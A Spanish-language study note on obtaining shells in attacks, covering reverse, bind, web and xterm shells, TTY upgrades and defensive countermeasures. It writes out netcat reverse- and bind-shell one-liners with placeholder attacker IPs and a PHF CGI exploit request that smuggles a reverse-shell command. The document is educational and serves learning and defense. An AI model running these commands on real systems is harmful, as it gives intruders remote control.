Obtención de Shells – Nota expandida

Relacionado: IDOR. Netcat. Herramientas. Escalada de Privilegios. 12 Introduccion a la Criptografiaseguridad.

La obtención de una shell es el momento clave de un ataque en el que el atacante logra ejecutar comandos en el sistema de la víctima, generalmente a través de una terminal interactiva. Obtener una shell representa tomar el control de un equipo, al menos parcialmente, y permite al atacante moverse dentro del sistema, escalar privilegios y desplegar herramientas maliciosas o realizar acciones específicas.


¿Qué es una “shell”?

Una shell es un entorno de línea de comandos que permite interactuar con el sistema operativo introduciendo instrucciones. Las más comunes son:

  • En Linux: /bin/bash, /bin/sh, /bin/zsh, etc.

  • En Windows: cmd.exe, powershell.exe

En ciberseguridad, “obtener una shell” suele implicar tener un intérprete de comandos remoto tras explotar una vulnerabilidad.


Métodos comunes para obtener una shell

1. Shell directa por vulnerabilidad

  • El exploit lanza directamente una shell sobre el sistema objetivo.

  • Ejemplo: overflow en un binario SUID que ejecuta /bin/sh.

2. Shell inversa (reverse shell)

  • La víctima conecta hacia el atacante y le entrega una terminal.

  • Es muy útil para evadir firewalls o NAT.

Ejemplo (en Linux):

Máquina atacante:

nc -lvnp 4444

Máquina víctima:

nc <IP_atacante> 4444 -e /bin/bash

3. Bind shell

  • La víctima abre un puerto y espera que el atacante se conecte.

  • Menos sigilosa, más fácil de detectar por IDS.

Víctima:

nc -lvnp 4444 -e /bin/bash

Atacante:

nc <IP_víctima> 4444

4. Web shells

  • Archivos como cmd.php, shell.jsp, shell.aspx que permiten ejecutar comandos desde el navegador.

  • Subidos tras explotar una vulnerabilidad web (por ejemplo, subida de archivos sin validación).

5. Xterm shells (en sistemas con entorno gráfico activo)

  • Envío de comandos que abren una ventana gráfica con una terminal conectada a la máquina del atacante.

  • Ejemplo:

xterm -display <IP_atacante>:0

6. Telnet inverso / Shell por Netcat sin nc instalado

  • Subir netcat a la víctima si no lo tiene:
rcp atacante:/tmp/nc víctima:/tmp/nc
  • Ejecutar:
/tmp/nc -e /bin/bash <IP_atacante> 4444

Ejemplo de ataque real (shell mediante PHF vulnerable)

  1. El atacante lanza un exploit al CGI vulnerable:
GET /cgi-bin/phf?Qalias=x%0a/bin/nc%20IP_atacante%204444%20-e%20/bin/sh
  1. La víctima ejecuta el comando.

  2. El atacante recibe una shell interactiva.


️ Herramientas utilizadas para obtener shells

HerramientaUso principal
Netcat (nc)Reverse y bind shells simples.
MetasploitMódulos automáticos para shells (Meterpreter).
Nishang, PowerShell EmpireShells y payloads en Windows.
Webshells (cmd.php, China chopper, etc.)Shells en servidores web.
msfvenomCrear payloads personalizados.

Tipos de shells

TipoDescripción
InteractivasPuedes ejecutar comandos como si estuvieras en el terminal.
No interactivasLimitadas, suelen necesitar técnicas para mejorar la experiencia (TTY).
TTY mejoradasShells escaladas con soporte completo (python -c 'import pty; pty.spawn("/bin/bash")').
MeterpreterShell avanzada con funciones integradas (subida de archivos, webcam, capturar teclado…).

Contramedidas defensivas

  1. Restringir subida y ejecución de archivos.

  2. Segmentar la red y limitar servicios disponibles al exterior.

  3. Usar firewalls internos para detectar conexiones inversas.

  4. Monitorizar creación de procesos sospechosos (con Sysmon o auditd).

  5. Detectar webshells mediante EDR, análisis de logs y firmas YARA.

  6. Validar entradas y salidas, deshabilitar funciones inseguras en servidores web (como system(), exec() en PHP).


Trucos post-acceso

  • Convertir shell limitada en una TTY completa (Linux):
python -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z
stty raw -echo; fg
export TERM=xterm
  • Redirigir salida estándar para mejorar shells mal formateadas.

Conclusión

Obtener una shell es un punto de inflexión en un ataque. A partir de ahí, el atacante tiene control directo sobre el sistema y puede continuar con la escalada de privilegios, persistencia o movimiento lateral. Comprender los distintos tipos y técnicas es clave tanto para pentesters como para defensores.


¿Te gustaría que prepare un laboratorio con shells inversas en Linux y Windows usando Netcat, Metasploit o webshells reales?